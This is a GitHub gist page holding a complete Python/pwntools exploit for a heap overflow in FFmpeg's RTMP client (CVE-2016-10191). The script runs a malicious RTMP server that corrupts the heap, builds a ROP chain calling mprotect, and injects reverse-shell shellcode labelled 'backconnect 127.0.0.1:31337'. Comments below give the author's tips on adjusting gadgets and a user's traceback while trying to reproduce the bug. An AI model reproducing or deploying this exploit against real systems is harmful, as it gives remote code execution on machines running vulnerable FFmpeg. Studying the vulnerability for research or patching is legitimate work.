Created
November 16, 2016 12:41
-
-
Save PaulCher/9acf4dc47c95a8b40b456ba03b05a913 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os | |
import socket | |
import struct | |
from time import sleep | |
from pwn import * | |
bind_ip = '0.0.0.0' | |
bind_port = 12345 | |
elf = ELF('../../ffmpeg/ffmpeg') | |
gadget = lambda x: next(elf.search(asm(x, | |
arch = 'amd64', os = 'linux'))) | |
# Gadgets that we need to know inside binary | |
# to successfully exploit it remotely | |
mov_rsp_rax = gadget('mov rsp, rax; ret') | |
add_rsp_50 = gadget('add rsp, 0x50; ret') | |
add_rsp_a0 = gadget('add rsp, 0xa0; ret') | |
pop_rdi = gadget('pop rdi; ret') | |
pop_rsi = gadget('pop rsi; ret') | |
pop_rdx = gadget('pop rdx; ret') | |
pop_rax = gadget('pop rax; ret') | |
mov_gadget = gadget('mov qword [rax], rdx; ret') | |
got_realloc = elf.got['realloc'] | |
plt_mprotect = elf.plt['mprotect'] | |
shellcode_location = 0x400000 | |
# backconnect 127.0.0.1:31337 x86_64 shellcode | |
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; | |
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode | |
def create_payload(size, data, channel_id): | |
payload = '' | |
payload += p8((1 << 6) + channel_id) # (hdr << 6) & channel_id; | |
payload += '\0\0\0' # ts_field | |
payload += p24(size) # size | |
payload += p8(0x00) # type | |
payload += data # data | |
return payload | |
def create_rtmp_packet(channel_id, write_location, size=0x4141): | |
data = '' | |
data += p32(channel_id) # channel_id | |
data += p32(0) # type | |
data += p32(0) # timestamp | |
data += p32(0) # ts_field | |
data += p64(0) # extra | |
data += p64(write_location) # write_location - data | |
data += p32(size) # size | |
data += p32(0) # offset | |
data += p64(0x180) # read | |
return data | |
def p24(data): | |
packed_data = p32(data, endian='big')[1:] | |
assert(len(packed_data) == 3) | |
return packed_data | |
def handle_request(client_socket): | |
v = client_socket.recv(1) | |
client_socket.send(p8(3)) | |
payload = '' | |
payload += '\x00' * 4 | |
payload += '\x00' * 4 | |
payload += os.urandom(1536 - 8) | |
client_socket.send(payload) | |
client_socket.send(payload) | |
client_socket.recv(0x600) | |
client_socket.recv(0x600) | |
print 'sending payload' | |
payload = create_payload(0xa0, 'U' * 0x80, 4) | |
client_socket.send(payload) | |
payload = create_payload(0xa0, 'A' * 0x80, 20) | |
client_socket.send(payload) | |
data = '' | |
data += 'U' * 0x20 # the rest of chunk | |
data += p64(0) # zerobytes | |
data += p64(0x6a1) # real size of chunk | |
data += p64(add_rsp_50) # trampoline to rop | |
data += 'Y' * (0x30 - 8) # channel_zero | |
data += 'Y' * 0x20 # channel_one | |
payload = create_payload(0x2000, data, 4) | |
client_socket.send(payload) | |
data = '' | |
data += 'I' * 0x8 # fill the previous RTMPPacket[1] | |
data += p64(add_rsp_a0) # one more trampoline | |
data += create_rtmp_packet(2, got_realloc) | |
data += 'D' * (0x80 - len(data)) | |
payload = create_payload(0x1800, data, 4) | |
client_socket.send(payload) | |
jmp_to_rop = '' | |
jmp_to_rop += p64(mov_rsp_rax) | |
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop)) | |
payload = create_payload(0x1800, jmp_to_rop, 2) | |
client_socket.send(payload) | |
rop = '' | |
rop += 'AAAAAAAA' * 6 # padding | |
rop += p64(pop_rdi) | |
rop += p64(shellcode_location) | |
rop += p64(pop_rsi) | |
rop += p64(0x1000) | |
rop += p64(pop_rdx) | |
rop += p64(7) | |
rop += p64(plt_mprotect) | |
write_location = shellcode_location - 8 | |
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) | |
for shell in shellslices: | |
rop += p64(pop_rax) | |
rop += p64(write_location) | |
rop += p64(pop_rdx) | |
rop += shell | |
rop += p64(mov_gadget) | |
write_location += 8 | |
rop += p64(shellcode_location) | |
rop += 'X' * (0x80 - (len(rop) % 0x80)) | |
rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) | |
for data in rop_slices: | |
payload = create_payload(0x2000, data, 4) | |
client_socket.send(payload) | |
# does not matter what data to send because we try to trigger | |
# av_realloc function inside ff_rtmp_check_alloc_array | |
# so that av_realloc(our_data) shall be called | |
payload = create_payload(1, 'A', 63) | |
client_socket.send(payload) | |
sleep(3) | |
print 'sending done' | |
client_socket.close() | |
if __name__ == '__main__': | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((bind_ip, bind_port)) | |
s.listen(5) | |
while True: | |
print 'Waiting for new client...' | |
client_socket, addr = s.accept() | |
handle_request(client_socket) | |
Sorry, guys, I don't really get any notifications about your comments, but I think I should still answer your questions :)
-
I remember subtracting 8 from
shellcode_location
variable, because disassembler in pwntools was buggy at this time and the real gadget it found was actuallymov qword [rax+8], rdx; ret
. -
StopIteration happens if you version of ffmpeg does not contain corresponding gadget. In this case you should adjust gadgets in the ROP chain to those that do exist inside your binary.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
latest i want to recurrent this bug
but when i run this script i got this output,and i can not find any infomation from the internet. can anybody help me
[@inspiron]:[CVE_2016_10191]$ ./exploit_ffmpeg.py
[] '/media/*/750G-01/downloads/CVE_2016_10191/bin/ffmpeg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Traceback (most recent call last):
File "./ffmpeg_rtmp_exploit.py", line 22, in
add_rsp_a0 = gadget('add rsp, 0xa0; ret')
File "./ffmpeg_rtmp_exploit.py", line 15, in
gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))
StopIteration
my system is:
Linux inspiron 4.10.0-35-generic #39~16.04.1-Ubuntu SMP Wed Sep 13 09:02:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux